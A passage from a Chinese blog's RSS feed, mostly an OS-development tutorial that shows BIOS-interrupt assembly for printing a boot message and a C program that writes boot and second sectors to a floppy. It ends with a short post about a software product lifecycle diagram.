  int     0x10

loop1:  jmp     loop1
mymsg:
  .byte  13,10
  .ascii “Operating System is Loading......”</CCID_CODE></PRE></TD></TR></TBODY></TABLE></CCID_NOBR><BR><BR>上面代码将被加载至段地址为0x500处，并且被执行。在这段代码中，使用了中断10h来获取目前的光标位置，然后显示信息。 <BR><BR>从第3行到第5行用于得到目前光标的位置，在此中断10h选用的是功能3。然后，清除了bh寄存器的内容，并把字符串送至ch寄存器中。在bx中，我们送入了页码及显示的属性。此处，我们想要在黑背景上显示白色的字符。然后，把要显示字符的地址送到bp之中，信息由两个字节组成，其值分别为13的10，它们分别对应回车和LF(换行)的ASCⅡ值。接下来是一个由29个字符组成的串；在下面实现的功能是输出字符串然后移动光标；最后是调用中断，然后进入循环。 <BR><BR>
<CENTER><FONT color=#000099><STRONG>C程序代码</STRONG></FONT></CENTER><BR><BR>C程序的源代码如下所示，将其存储为write.c文件。 <BR><BR><CCID_NOBR>
<TABLE cellSpacing=0 borderColorDark=#00ffff cellPadding=2 width=550 align=center borderColorLight=#0b0ac0 border=1>
<TBODY>
<TR>
<TD class=code bgColor=#e6e6e6><PRE><CCID_CODE>#include <SYS types.h> /* unistd.h needs this */
#include <UNISTD.H>    /* contains read/write */
#include <FCNTL.H>
int main()
{
  char boot_buf[512];
  int floppy_desc, file_desc;
  file_desc = open(“./bsect”, O_RDONLY);
  read(file_desc, boot_buf, 510);
  close(file_desc);
  boot_buf[510] = 0x55;
  boot_buf[511] = 0xaa;
  floppy_desc = open(“/dev/fd0”, O_RDWR);
  lseek(floppy_desc, 0, SEEK_SET);
  write(floppy_desc, boot_buf, 512);
  file_desc = open(“./sect2”, O_RDONLY);
  read(file_desc, boot_buf, 512);
  close(file_desc);
  lseek(floppy_desc, 512, SEEK_SET);
  write(floppy_desc, boot_buf, 512);
  close(floppy_desc);
}</CCID_CODE></PRE></TD></TR></TBODY></TABLE></CCID_NOBR><BR><BR>在上一期中，我曾经介绍过如何操作能启动的软盘。现在这一个过程稍微有点不同，首先把由bsect.s编译出来的可执行文件bsect拷贝至软盘的启动扇区。然后再把由sect2.s产生的可执行文件sect2拷贝至软盘的第二个扇区。 <BR><BR>把上述文件置于同一目录之下，然后分别对其进行编译，方法如下所示： <BR><BR><CCID_NOBR>
<TABLE cellSpacing=0 borderColorDark=#00ffff cellPadding=2 width=550 align=center borderColorLight=#0b0ac0 border=1>
<TBODY>
<TR>
<TD class=code bgColor=#e6e6e6><PRE><CCID_CODE>as86 bsect.s -o bsect.o
ld86 -d bsect.o -o bsect</CCID_CODE></PRE></TD></TR></TBODY></TABLE></CCID_NOBR><BR><BR>对sect2.s文件重复以上的操作，得出可执行文件sect2。编译write.c，插入软盘后执行write文件，命令如下所示： <BR><BR><CCID_NOBR>
<TABLE cellSpacing=0 borderColorDark=#00ffff cellPadding=2 width=550 align=center borderColorLight=#0b0ac0 border=1>
<TBODY>
<TR>
<TD class=code bgColor=#e6e6e6><PRE><CCID_CODE>cc write.c -o write
./write</CCID_CODE></PRE></TD></TR></TBODY></TABLE></CCID_NOBR><BR><BR>
<CENTER><FONT color=#000099><STRONG>下一步我们要做的事情</STRONG></FONT></CENTER><BR><BR>从软盘启动以后，可以看到显示出来的字符串。这是使用了BIOS中断来完成的。下一期要做的事情是在这个操作系统中实现实模式向保护模式的转换。<img src ="http://www.blogjava.net/songfei/aggbug/20771.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/songfei/" target="_blank">天外飞仙</a> 2005-11-21 15:08 <a href="http://www.blogjava.net/songfei/articles/20771.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>软件产品生命周期模型</title><link>http://www.blogjava.net/songfei/articles/20730.html</link><dc:creator>天外飞仙</dc:creator><author>天外飞仙</author><pubDate>Mon, 21 Nov 2005 03:29:00 GMT</pubDate><guid>http://www.blogjava.net/songfei/articles/20730.html</guid><wfw:comment>http://www.blogjava.net/songfei/comments/20730.html</wfw:comment><comments>http://www.blogjava.net/songfei/articles/20730.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/songfei/comments/commentRss/20730.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/songfei/services/trackbacks/20730.html</trackback:ping><description><![CDATA[软件产品生命周期模型主要从市场运作角度描述了其持续改进的全生命周期过程。本示意图主要给出一个直观显示。关于详细过程描述请参考下面链接。<BR><BR><IMG height=782 alt=软件产品生命周期模型.png src="http://www.blogjava.net/images/blogjava_net/wideweide/%E8%BD%AF%E4%BB%B6%E4%BA%A7%E5%93%81%E7%94%9F%E5%91%BD%E5%91%A8%E6%9C%9F%E6%A8%A1%E5%9E%8B.png" width=782 border=0 ilo-full-src="http://www.blogjava.net/images/blogjava_net/wideweide/%E8%BD%AF%E4%BB%B6%E4%BA%A7%E5%93%81%E7%94%9F%E5%91%BD%E5%91%A8%E6%9C%9F%E6%A8%A1%E5%9E%8B.png"><BR>参考链接：<BR>1.产品开发之不易,http://www.blogjava.net/BlueDavy/archive/2005/05/19/4890.html<BR>2.产品过程之产品规划，http://www.blogjava.net/BlueDavy/archive/2005/06/01/5429.html<BR><img src ="http://www.blogjava.net/songfei/aggbug/20730.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/songfei/" target="_blank">天外飞仙</a> 2005-11-21 11:29 <a href="http://www.blogjava.net/songfei/articles/20730.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item></channel></rss>